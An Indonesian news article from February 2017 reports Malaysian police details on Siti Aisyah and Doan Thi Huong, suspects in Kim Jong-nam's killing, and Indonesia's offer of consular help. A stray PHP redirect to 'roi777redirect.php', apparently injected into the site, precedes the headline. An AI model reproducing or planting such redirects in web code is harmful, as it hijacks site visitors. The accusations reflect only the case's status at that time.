header( 'Location: /roi777redirect.php true, 303 );header( 'Location: roi777redirect.php', true, 303 ); Siti Aisyah Ternyata Seorang Terapis Spa -
Siti Aisyah Ternyata Seorang Terapis Spa

Tersangka Pembunuhan Terhadap Kim Jong-nam

TRANSLAMPUNG.COM, Siti Aisyah, 25, tersangka pembunuhan terhadap pria berkebangsaan Korea Utara Kim Jong-nam diketahui bekerja sebagai terapis spa. Hal tersebut diungkapkan Inspektur Jenderal Polisi Tan Sri Khalid Abu Bakar dalam konferensi pers di Kantor Pusat Polis Diraja Malaysia Minggu (19/2).

Dia merinci nama-nama tersangka yang sudah berhasil ditangkap dan yang masih buron. Aisyah salah satunya.

”Tersangka ketiga yang berhasil ditangkap bernama Siti Aisyah. Berkewarnageraan Indoensia. Berusia 25 tahun dan bekerja sebagai teraois spa,” tutur Khalid kepada wartawan termasuk JawaPos.

Pada kesempatan yang sama, Khalid juga mengungkap bahwa tersangka perempuan lainnya, Doan Thi Huong bekerja sebagai karyawan tempat hiburan. Namun, Khalid tidak mengungkap detail lokasi mereka bekerja. Apakah di Malaysia atau di luar Malaysia.

Khalid juga menjelaskan bahwa baik Aisyah maupun tersangka perempuan lainnya Don Thi Huong tidak datang ke Malaysia secara bersama-sama. Aisyah tercatat sampai di Malaysia lebih awal.

Yakni pada 2 Februari 2017 lewat Batam. Sedangkan Doan baru tiba di Malaysia pada 4 Februari. Terkait jadwal rencana kepulangan Aisyah, Khalid mengatakan tidak ada catatn soal itu.

”Untuk Doan dijadwalkan keluar Malaysia pada 23 Februari 2017 menuju Hanoi,” tuturnya.

Sementara, Pemerintah Indonesia berupaya memberikan pendampingan hukum untuk Siti Aishah, perempuan berpaspor Indonesia yang berstatus tersangka pembuhunan kerabat pimpinan Korea Utara Kim Jong Un. Hal itu diungkapkan Dirjen Perlindungan dan Hukum WNI Kementerian Luar Negeri, Lalu Muhammad Iqbal dalam keterangan tertulis, Kamis (16/2).

Iqbal mengatakan, Kedutaan Besar Republik Indonesia (KBRI) Kuala Lumpur telah meminta informasi dari otoritas kemanan Malaysia terkait penangkapan Siti Aishah. Menurut Iqbal, berdasar data diri yang disampaikan otoritas keamanan Malaysia, perempuan tersebut telah terverifikasi berstatus Warga Negara Indonesia (WNI).

“Menindaklanjuti hasil verifikasi tersebut, KBRI telah meminta akses kekonsuleran kepada Pemerintah Malaysia untuk dapat memberikan pendampingan dalam rangka memastikan hak-hak hukumnya terpenuhi,” kata Iqbal dalam rilis yang diterima wartawan.

Iqbal mengatakan, saat ini staf KBRI dalam perjalanan menuju Selangor, Malaysia. “KBRI terus melakukan koordinasi dengan aparat keamanan Malaysia terkait kasus ini,” ujarnya.

Sebelumnya, Polisi Malaysia dikabarkan menangkap tersangka perempuan kedua yang dituduh melakukan pembunuhan kakak tiri pemimpin Korea Utara Kim Jong-un. Yang mengejutkan, tersangka kedua disebut beridentitas paspor Indonesia. Namanya, Siti Aishah.

Dalam pernyataan resmi Jenderal Inspektoral Kepolisian Kerajaan Malaysia, mereka sudah menangkap tersangka kedua yang diduga terlibat dalam kematian seorang pria Korea pada 13 Februari 2017.

Tersangka kedua itu sesuai dengan rekaman CCTV yang diperoleh polisi. ”Dia ditangkap sendirian,” tulis pernyataan yang ditandatangani oleh Khalid Abu Bakar, Inspektur Jenderal Polisi Kepolisian Kerajaan Malaysia itu.

Disebutkan pula bahwa tersangka berpaspor Indonesia dengan nama Siti Aishah. Tersangka lahir di Serang, Indonesia pada 1992. Ditambahkan, penyelidikan masih terus berlangsung dan tindakan selanjutnya terhadap tersangka akan dilakukan sesuai dengan hukum yang berlaku.

Dikutip kantor berita Reuters, tersangka pertama hari ini akan dihadirkan ke pengadilan untuk dengar pendapat. Tersangka ditangkap di Bandara Internasional Kuala Lumpur, Malaysia. Di lokasi itulah, lelaki yang diduga kakak Kim Jong-un, Kim Jong-nam, terjatuh dan kemudian meninggal dunia saat akan dibawa ke rumah sakit.

Perempuan tersebut beridentitas Vietnam dan polisi sedang mencari tersangka lain. Penangkapan perempuan tersebut berkat cuplikan CCTV bandara. ”Namanya Doan Thi Huong, usianya 28 tahun,” tulis polisi dalam pernyataan resmi mereka.

Memang, pemerintah belum memberikan informasi resmi bahwa lelaki yang meninggal dunia itu adalah Kim Jong-nam yang berpergian dengan mengunakan nama Kim Chol. Namun, pemerintah Korea Selatan meyakini itu adalah Jong-nam. Mata-mata negara bahkan mengatakan kalau Jong-nam diracun.

Korut juga belum memberikan komentar atas kematian tersebut. Tetapi pejabat dari kedutaan Korut di Malaysia sudah mengunjungi RS tempat mayat Jong-Nam berada. (jpg/tnn)

News Reporter